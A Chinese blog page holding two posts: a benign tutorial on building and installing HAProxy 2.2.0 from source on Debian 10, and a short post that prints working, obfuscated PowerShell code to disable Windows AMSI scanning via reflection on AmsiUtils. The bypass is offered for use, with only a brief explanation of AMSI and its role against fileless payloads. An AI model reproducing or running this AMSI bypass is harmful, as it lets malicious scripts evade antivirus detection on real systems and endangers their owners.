Debian10 x64 build make install Haproxy v2.2.0-在Debian10 64位系统编译安装最新版 Haproxy v2.2.0版本

haproxy是一个由C语言编写主要应用于高可用性和负载均衡的应用层代理软件。

Haproxy.png 

今天需要用到haproxy,但是无奈通过系统 Debian10 自带的软件源安装的版本太低了 apt install -y haproxy ;故自行前往官网:http://www.haproxy.org/ 

查看最新版的haproxy,目前最新版本是 2.2.0 .

那么使用 wget 先下载到本地:wget http://www.haproxy.org/download/2.2/src/haproxy-2.2.0.tar.gz

解压:

tar zxf haproxy-2.2.0.tar.gz

进入解压后的目录:

cd haproxy-2.2.0/


执行 make 准备进行编译,但是出错:

Due to too many reports of suboptimized setups, building without
specifying the target is no longer supported. Please specify the
target OS in the TARGET variable, in the following form:

   make TARGET=xxx

Please choose the target among the following supported list :

   linux-glibc, linux-glibc-legacy, linux-musl, solaris, freebsd, openbsd,
   netbsd, cygwin, haiku, aix51, aix52, aix72-gcc, osx, generic, custom

Use "generic" if you don't want any optimization, "custom" if you
want to precisely tweak every option, or choose the target which
matches your OS the most in order to gain the maximum performance
out of it. Please check the Makefile in case of doubts.

Makefile:761: recipe for target 'all' failed
make: *** [all] Error 1



根据提示,需要设置编译的 target 。

我们可以修改目录下的 Makefile 里面的 TARGET 或者是在 make 命令后加上:make TARGET=linux-glibc 即可:

[[email protected] haproxy-2.2.0]# make TARGET=linux-glibc
  CC      src/ev_poll.o
  CC      src/ev_epoll.o
  CC      src/namespace.o
  CC      src/mux_fcgi.o
  CC      src/mux_h1.o
  CC      src/mux_h2.o
  CC      src/backend.o
  CC      src/cfgparse.o
  CC      src/cli.o
  CC      src/cfgparse-listen.o
  CC      src/stats.o
  CC      src/http_ana.o
  CC      src/stream.o
  CC      src/check.o
  CC      src/sample.o
  CC      src/tools.o
  CC      src/server.o
  CC      src/listener.o
  CC      src/tcpcheck.o
  CC      src/pattern.o
  CC      src/log.o
  CC      src/stick_table.o
  CC      src/flt_spoe.o
  CC      src/stream_interface.o
  CC      src/filters.o
  CC      src/http_fetch.o
  CC      src/map.o
  CC      src/session.o
  CC      src/sink.o
  CC      src/flt_http_comp.o
  CC      src/debug.o
  CC      src/tcp_rules.o
  CC      src/haproxy.o
  CC      src/peers.o
  CC      src/flt_trace.o
  CC      src/queue.o
  CC      src/proxy.o
  CC      src/http_htx.o
  CC      src/dns.o
  CC      src/raw_sock.o
  CC      src/pool.o
  CC      src/http_act.o
  CC      src/http_rules.o
  CC      src/compression.o
  CC      src/cfgparse-global.o
  CC      src/payload.o
  CC      src/signal.o
  CC      src/activity.o
  CC      src/mworker.o
  CC      src/cache.o
  CC      src/proto_uxst.o
  CC      src/lb_chash.o
  CC      src/connection.o
  CC      src/proto_tcp.o
  CC      src/http_conv.o
  CC      src/arg.o
  CC      src/lb_fas.o
  CC      src/xprt_handshake.o
  CC      src/fcgi-app.o
  CC      src/applet.o
  CC      src/acl.o
  CC      src/task.o
  CC      src/ring.o
  CC      src/vars.o
  CC      src/trace.o
  CC      src/mux_pt.o
  CC      src/xxhash.o
  CC      src/mworker-prog.o
  CC      src/h1_htx.o
  CC      src/frontend.o
  CC      src/extcheck.o
  CC      src/channel.o
  CC      src/action.o
  CC      src/mailers.o
  CC      src/proto_sockpair.o
  CC      src/ebmbtree.o
  CC      src/thread.o
  CC      src/lb_fwrr.o
  CC      src/time.o
  CC      src/regex.o
  CC      src/lb_fwlc.o
  CC      src/htx.o
  CC      src/h2.o
  CC      src/hpack-tbl.o
  CC      src/lru.o
  CC      src/wdt.o
  CC      src/lb_map.o
  CC      src/eb32sctree.o
  CC      src/ebistree.o
  CC      src/h1.o
  CC      src/sha1.o
  CC      src/http.o
  CC      src/fd.o
  CC      src/ev_select.o
  CC      src/chunk.o
  CC      src/hash.o
  CC      src/hpack-dec.o
  CC      src/freq_ctr.o
  CC      src/http_acl.o
  CC      src/dynbuf.o
  CC      src/uri_auth.o
  CC      src/protocol.o
  CC      src/auth.o
  CC      src/ebsttree.o
  CC      src/pipe.o
  CC      src/hpack-enc.o
  CC      src/fcgi.o
  CC      src/eb64tree.o
  CC      src/dict.o
  CC      src/shctx.o
  CC      src/ebimtree.o
  CC      src/eb32tree.o
  CC      src/ebtree.o
  CC      src/dgram.o
  CC      src/hpack-huff.o
  CC      src/base64.o
  CC      src/version.o
  LD      haproxy



注:如果失败,请注意查看机器是否安装 lua 环境,命令行执行 lua -v 如果有显示版本就是有安装,没用就自行安装,这里以本机为例:apt install -y lua5.3 

编译成功后,直接执行 make install 即可安装好 haproxy :

[[email protected] haproxy-2.2.0]# make install
'haproxy' -> '/usr/local/sbin/haproxy'
'doc/haproxy.1' -> '/usr/local/share/man/man1/haproxy.1'
install: creating directory '/usr/local/doc'
install: creating directory '/usr/local/doc/haproxy'
'doc/configuration.txt' -> '/usr/local/doc/haproxy/configuration.txt'
'doc/management.txt' -> '/usr/local/doc/haproxy/management.txt'
'doc/proxy-protocol.txt' -> '/usr/local/doc/haproxy/proxy-protocol.txt'
'doc/seamless_reload.txt' -> '/usr/local/doc/haproxy/seamless_reload.txt'
'doc/architecture.txt' -> '/usr/local/doc/haproxy/architecture.txt'
'doc/peers-v2.0.txt' -> '/usr/local/doc/haproxy/peers-v2.0.txt'
'doc/regression-testing.txt' -> '/usr/local/doc/haproxy/regression-testing.txt'
'doc/cookie-options.txt' -> '/usr/local/doc/haproxy/cookie-options.txt'
'doc/lua.txt' -> '/usr/local/doc/haproxy/lua.txt'
'doc/WURFL-device-detection.txt' -> '/usr/local/doc/haproxy/WURFL-device-detection.txt'
'doc/linux-syn-cookies.txt' -> '/usr/local/doc/haproxy/linux-syn-cookies.txt'
'doc/SOCKS4.protocol.txt' -> '/usr/local/doc/haproxy/SOCKS4.protocol.txt'
'doc/network-namespaces.txt' -> '/usr/local/doc/haproxy/network-namespaces.txt'
'doc/DeviceAtlas-device-detection.txt' -> '/usr/local/doc/haproxy/DeviceAtlas-device-detection.txt'
'doc/51Degrees-device-detection.txt' -> '/usr/local/doc/haproxy/51Degrees-device-detection.txt'
'doc/netscaler-client-ip-insertion-protocol.txt' -> '/usr/local/doc/haproxy/netscaler-client-ip-insertion-protocol.txt'
'doc/peers.txt' -> '/usr/local/doc/haproxy/peers.txt'
'doc/close-options.txt' -> '/usr/local/doc/haproxy/close-options.txt'
'doc/SPOE.txt' -> '/usr/local/doc/haproxy/SPOE.txt'
'doc/intro.txt' -> '/usr/local/doc/haproxy/intro.txt'
[[email protected] haproxy-2.2.0]# haproxy -v
HA-Proxy version 2.2.0 2020/07/07 - https://haproxy.org/
Status: long-term supported branch - will stop receiving fixes around Q2 2025.
Known bugs: http://www.haproxy.org/bugs/bugs-2.2.0.html
Running on: Linux 4.18.0-80.7.1.el8_0.x86_64 #1 SMP Sat Aug 3 15:14:00 UTC 2019 x86_64
[[email protected] haproxy-2.2.0]#

执行 haproxy -v 可以正确显示 版本号 2.2.0 即表明安装成功。

至于其 haproxy 的配置,根据业务需要,自行配置。Google上一大把。




Mrxn 发布于 2020-7-16 16:16

绕过AMSI执行powershell脚本

简单的演示下从老外哪里学来的bypass AMSI 的姿势,看下效果图: 

1.jpg

 

绕过AMSI执行powershell脚本

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。

正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,介绍了一种新的绕过方法。

关键powershell代码如下:

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') 
$h="4456625220575263174452554847" 
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " 
$b =$a.GetField($s,'NonPublic,Static') $b.SetValue($null,$true)

效果如图:
AMSI_TN_bypass

代码来自:https://pastebin.com/sQFWANwr

参考文章:https://www.anquanke.com/post/id/180281


Mrxn 发布于 2020-7-2 23:12

搜索

日历

标签